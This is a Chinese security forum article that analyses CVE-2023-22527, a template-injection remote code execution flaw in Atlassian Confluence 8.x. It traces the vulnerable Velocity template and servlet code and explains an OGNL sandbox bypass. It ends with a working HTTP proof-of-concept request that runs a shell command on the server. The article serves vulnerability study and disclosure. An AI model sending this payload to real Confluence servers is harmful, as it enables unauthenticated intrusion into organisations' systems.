问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527)
漏洞分析
(CVE-2023-22527)Atlassian Confluence 模板注入代码执行漏洞代码级分析,内含poc
作者:Le1a@threatbook 校验:jweny@threatbook 漏洞描述 ==== Atlassian Confluence是一款由Atlassian开发的企业团队协作和知识管理软件,提供了一个集中化的平台,用于创建、组织和共享团队的文档、知识库、项目计划和协作内容。 攻击者可在无需登录的情况下,利用该漏洞构造恶意请求,导致远程代码执行。 影响版本 ==== - 8.5.0 ≤ version ≤ 8.5.3 - 8.0.x,8.1.x,8.2.x,8.3.x,8.4.x 漏洞成因 ==== 在Confluence中,.vm文件是使用Velocity模板语言创建的模板文件。Velocity是一个基于Java的模板引擎,它允许你使用简单的标记语言来引用Java对象和方法,从而动态生成HTML、XML或任何文本格式的内容。 处理.vm文件的主要类是ConfluenceVelocityServlet。这个Servlet负责接收和处理来自浏览器的请求,加载和解析.vm模板,执行其中的Velocity代码,然后将生成的HTML发送回浏览器。 这次的漏洞点位于:/template/aui/text-inline.vm文件,可以直接通过/template/aui/text-inline.vm访问 ```java #set( $labelValue = $stack.findValue("getText('$parameters.label')") ) #if( !$labelValue ) #set( $labelValue = $parameters.label ) #end #if (!$parameters.id) #set( $parameters.id = $parameters.name) #end <label id="${parameters.id}-label" for="$parameters.id"> $!labelValue #if($parameters.required) <span class="aui-icon icon-required"></span> <span class="content">$parameters.required</span> #end </label> #parse("/template/aui/text-include.vm") ``` `$stack.findValue("getText('$parameters.label')")`意味着从请求中获取的label参数的值传入了`$stack.findValue`,由此可以判断这里存在模版注入 代码分析 ==== .vm文件由`ConfluenceVelocityServlet`处理 ![image-20240122171534566](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-6dd398b993fb7f0994f4734f2d2f2c1e15d8a56e.png) 继续跟进 ```java protected void doRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { // 创建一个上下文对象,可能用于存储请求和响应的信息 Context context = this.createContext(request, response); // 设置HTTP响应的内容类型 this.setContentType(request, response); // 处理HTTP请求,返回一个模板对象 Template template = this.handleRequest(request, response, context); // 如果没有获取到模板,直接结束方法 if (template == null) { return; } // 如果获取到了模板,将模板和上下文合并,并将结果写入响应 this.mergeTemplate(template, context, response); } // 其他代码... } ``` 这里跟进`handleRequest()`,可以发现从URI中获取vm文件路径,传入`getTemplate()`来返回模版对象 ![image-20240122173831737](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-0337205fcd9a8e616d3445209c7f7bc3d1290dd0.png) ![image-20240122173926341](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-f3abafc1802c5e1468fdb9756b91328124592cca.png) 然后传入`mergeTemplate()`函数处理 ![image-20240122174028715](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-127a38e6f485c441bfba2747877c3336180c312a.png) ```java protected void mergeTemplate(Template template, Context context, HttpServletResponse response) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException, UnsupportedEncodingException, Exception { // 获取当前的PageContext对象 PageContext oldPageContext = ServletActionContext.getPageContext(); // 获取默认的JSP工厂 JspFactory jspFactory = JspFactory.getDefaultFactory(); // 从上下文中获取HttpServletRequest对象 HttpServletRequest request = (HttpServletRequest)context.get("request"); // 根据当前的Servlet、请求和响应创建一个新的PageContext对象 PageContext pageContext = jspFactory.getPageContext(this, request, response, (String)null, true, 8192, true); // 获取当前的ActionContext对象 ActionContext actionContext = ActionContext.getContext(); // 将新创建的PageContext对象放入ActionContext中 actionContext.put("com.opensymphony.xwork2.dispatcher.PageContext", pageContext); Writer writer = null; try { // 获取PageContext的输出流 writer = pageContext.getOut(); // 将模板和上下文合并,结果写入到输出流中 template.merge(context, writer); } // 其他代码... } ``` 这里创建新的PageContext,获取其输出流,准备进行模板合并和输出操作。 继续跟进`template.merge()` ![image-20240122175335072](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-241a49d9ff74eb016da25ec80d9fb1cff148473d.png) 跟进到merge的重载函数 ```java public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException, IOException { if (this.errorCondition != null) { throw this.errorCondition; } else if (this.data == null) { String msg = "Template.merge() failure. The document is null, most likely due to parsing error."; throw new RuntimeException(msg); } else { InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context); ica.setMacroLibraries(macroLibraries); if (macroLibraries != null) { for(int i = 0; i < macroLibraries.size(); ++i) { try { this.rsvc.getTemplate((String)macroLibraries.get(i)); } catch (ResourceNotFoundException var13) { this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i)); throw var13; } catch (ParseErrorException var14) { this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + "."); throw var14; } catch (Exception var15) { throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var15); } } } try { ica.pushCurrentTemplateName(this.name); ica.setCurrentResource(this); ((SimpleNode)this.data).render(ica, writer); } finally { ica.popCurrentTemplateName(); ica.setCurrentResource((Resource)null); } } } ``` 由于传入的macroLibraries为空,所以直接执行try逻辑 1. 调用 `ica.pushCurrentTemplateName(this.name);` 将当前模板的名称压入到 `ica` 的模板名堆栈中。这是为了在嵌套模板的情况下能够追踪到当前正在处理的模板名称。 2. 调用 `ica.setCurrentResource(this);` 将当前模板对象设置为 `ica` 的当前资源。这是为了让 `ica` 知道当前正在处理的模板资源。 3. 最后,通过调用 `((SimpleNode)this.data).render(ica, writer);` 进行模板渲染 省略中间的部分渲染过程,跟进到`ASTReference#execute()` ![image-20240122182738664](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-55774aecb27ef746335e02525f880eda039c1ed4.png) 这里从上下文中获取OgnlValueStack,继续跟进 ![image-20240122192303171](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-3d219511e9b2142421073e1a621c6f30503009bb.png) ![image-20240122192442639](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-c66637ec1f5204d61002051d00c499cef1f4f533.png) 这里从请求中获取到参数,然后通过`Object obj = method.invoke(o, params);`执行,继续跟进 ![image-20240122193550814](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-61876968d1e555c15d1307f5af01743960d99e18.png) 经过几层invoke调用后,来到了最终vm文件模版的位置——`OgnlValueStack.findValue()` ![image-20240122193649263](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-4632745c74d140bacc741e66880e50525d8cce14.png) 随后,传给label参数的OGNL表达式语句被执行 ![image-20240122194042690](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-4760c70ef357dce8052ebc7bfc17c8a56f8cadff.png) 如何构造RCE ======= 由这篇文章可得知:[https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY\_velocity.struts2.context](https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY_velocity.struts2.context) 对于Velocity模版引擎,可以使用如下方法: - `.KEY_velocity.struts2.context` -> (`StrutsVelocityContext`) - `ognl` (`org.apache.struts2.views.jsp.ui.OgnlTool`) - `struts` (`org.apache.struts2.views.velocity.result.VelocityStrutsUtils`) org.apache.struts2.views.jsp.ui.OgnlTool 类在没有 OgnlContext 的情况下调用了 Ognl.getValue()。需要注意的是,该类属于 OGNL 库,而不是 Struts 的一部分。因此,这个"findValue"调用在 Struts 的沙箱限制之外运行。 ![image-20240122195127771](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-c0387cf297967510f9cbb5a8e98dfebfe6ffee87.png) 复现过程 ==== 1. 网站首页如下图: ![image-20240122195705018](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-0e5afe5c961024822eab9395419af637b82f0071.png) 2. 使用如下POC进行漏洞复现 ```http POST /template/aui/text-inline.vm HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache. struts2.ServletActionContext@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"})) ``` ![image-20240122195829301](https://shs3.b.qianxin.com/attack_forum/2024/01/attach-f82e4dbf18d18838be45b28ae066469339128414.png)
发表于 2024-01-23 10:00:13
阅读 ( 37925 )
分类:
漏洞分析
11 推荐
收藏
5 条评论
网安萌新
2024-10-29 09:57
强者思维
请先
登录
后评论
天海之际
2024-03-27 10:54
太强了
请先
登录
后评论
wswch1994
2024-08-01 13:40
强
请先
登录
后评论
一闪一闪
2024-10-22 11:40
强
请先
登录
后评论
等风动
2024-11-05 09:04
太强了
请先
登录
后评论
请先
登录
后评论
jweny
16 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!